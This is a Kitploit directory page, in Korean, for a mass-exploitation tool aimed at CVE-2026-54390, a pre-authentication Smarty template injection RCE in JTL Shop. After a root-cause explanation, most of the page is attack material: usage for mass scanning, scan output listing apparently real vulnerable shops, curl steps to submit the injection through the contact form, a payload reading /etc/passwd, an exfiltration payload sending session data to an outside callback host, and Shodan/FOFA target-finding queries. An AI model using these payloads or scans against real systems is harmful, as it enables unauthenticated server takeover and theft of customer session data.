Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-54390 — CVE-2026-54390 — JTL Shop Smarty SSTI RCE | fetch('string:')를 통한 사전 인증 템플릿 주입 | 5.2.0-5.7.1 | Kitploit
도구/GitHubGitHub/shinthink/cve-2026-54390
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubshinthink/cve-2026-54390

CVE-2026-54390

CVE-2026-54390 — JTL Shop Smarty SSTI RCE | fetch('string:')를 통한 사전 인증 템플릿 주입 | 5.2.0-5.7.1

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-54390 — JTL Shop Smarty SSTI 대량 익스플로잇

인증 전 문의 양식 → 이메일 제목 → fetch('string:') → RCE


개요

CVE-2026-54390은 JTL Shop 5.2.0–5.7.1에서 발생하는 치명적인(CVSS 9.8) 인증되지 않은 서버 측 템플릿 주입(Server-Side Template Injection) 취약점입니다.

SmartyRenderer::renderTemplate() 메서드는 이메일 제목 줄을 $smarty->fetch('string:' . $subject)에 전달하여 Smarty 템플릿으로 렌더링합니다. 사용자 문의 양식 필드는 parseSubject()의 #var# 해석을 통해 이메일 제목에 도달한 후 fetch()에 의해 다시 평가됩니다.

Text::filterXSS()는 HTML 태그만 제거하므로 {와 }는 그대로 통과합니다. 등록된 Smarty modifier에는 file_get_contents와 unserialize가 있습니다.

영향을 받는 버전

JTL Shop상태
< 5.2.0영향 없음
5.2.0 – 5.3.x취약(자격 증명 탈취)
5.4.0 – 5.7.1취약(전체 RCE)
5.5.4 / 5.6.2 / 5.7.2+패치됨

취약점 메커니즘

근본 원인

root@kitploit:~
// includes/src/Mail/Renderer/SmartyRenderer.php line 63
$subject = $this->parseSubject($model->getSubject($languageID));
$template->setSubject($this->getSmarty()->fetch('string:' . $subject));
//                       ^^^^^^^^^^^^^^^^^^^^^
//                     Email subject rendered as Smarty template

공격 흐름

root@kitploit:~
1. User fills contact form → name/email/message → filterXSS()
2. filterXSS only strips HTML — {system()} passes through
3. Email subject template: "Neue Anfrage von #Kunde.vorname#"
4. parseSubject() resolves #Kunde.vorname# → {system('id')}
5. fetch('string:Neue Anfrage von {system(\'id\')}') → EXECUTES
6. Email sent with subject: "Neue Anfrage von uid=33(www-data)..."

등록된 Smarty Modifier

root@kitploit:~
// PluginCollection.php — available for RCE
'unserialize', 'file_get_contents', 'file_exists', 'class_exists'

설치

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-54390.git
cd CVE-2026-54390
pip install -r requirements.txt

사용법

root@kitploit:~
# Single target
python cve_2026_54390.py -t target.com

# Mass scan
python cve_2026_54390.py -f jtl-targets.txt -o vuln.txt

# SSTI probe via contact form
python cve_2026_54390.py -t target.com --exploit --debug

인자

root@kitploit:~
  -t, --target      Single target (domain or IP)
  -f, --file        Target list, one per line
  -o, --output      Save vulnerable targets
  --threads         Workers (default: 20)
  --exploit         Submit SSTI probe via contact form
  --debug           Show every HTTP request
  -v, --verbose     Detailed output

개념 증명(PoC)

탐지

root@kitploit:~
$ python cve_2026_54390.py -t jtl-shop.de --debug
root@kitploit:~
  JTL Shop Smarty SSTI | CVE-2026-54390

  [jtl-shop.de] JTL Shop v5.7.0
  [jtl-shop.de] [+] JTL Shop v5.7.0
  [jtl-shop.de] contact form: /Kontakt | subjects:5

  Host       : jtl-shop.de
  JTL Shop   : YES v5.7.0
  Contact    : YES
  Form path  : /Kontakt
  Subjects   : 5 available

대량 스캔

root@kitploit:~
  [!] business.trustedshops.ch   1.6s  v5.5.2  form:/Kontakt
  [!] bmg-moebel.de              5.3s  v5.7.0  form:/Kontakt
  [100/5600] 1%  |  JTL:23  Vuln:12

수동 익스플로잇

1단계 — 문의 양식 및 토큰 찾기

root@kitploit:~
curl -sk 'https://target.com/Kontakt' | grep -oP 'name="jtl_token"[^>]*value="\K[^"]+'

2단계 — SSTI 프로브 제출

root@kitploit:~
curl -sk -X POST 'https://target.com/Kontakt' \
  -d 'kontakt=1' -d 'subject=1' \
  -d 'nachricht={7*7}' \
  -d 'vorname={7*7}' \
  -d 'nachname={7*7}' \
  -d '[email protected]'

3단계 — 파일 읽기

root@kitploit:~
{{"/etc/passwd"|file_get_contents}}

4단계 — OOB 데이터 유출

root@kitploit:~
{{"http://callback.com/?s="|file_get_contents|cat:$smarty.session|replace_delim:":"}}

FOFA / Shodan

root@kitploit:~
FOFA:   body="jtl" && body="kontakt"
Shodan: http.html:"jtl" http.html:"Kontakt"

면책 조항

교육 및 승인된 테스트 목적으로만 사용하십시오. 저자는 오용에 대해 어떠한 책임도 지지 않습니다.


참고 자료

리소스

JTL-Software 또는 Sansec과 관련이 없습니다.

도구 다운로드
링크
Sansec Researchsansec.io/research/jtl-shop-ssti-rce
IONIX Advisoryionix.io/threat-center/cve-2026-54390
JTL Forumforum.jtl-software.de
NVDCVE-2026-54390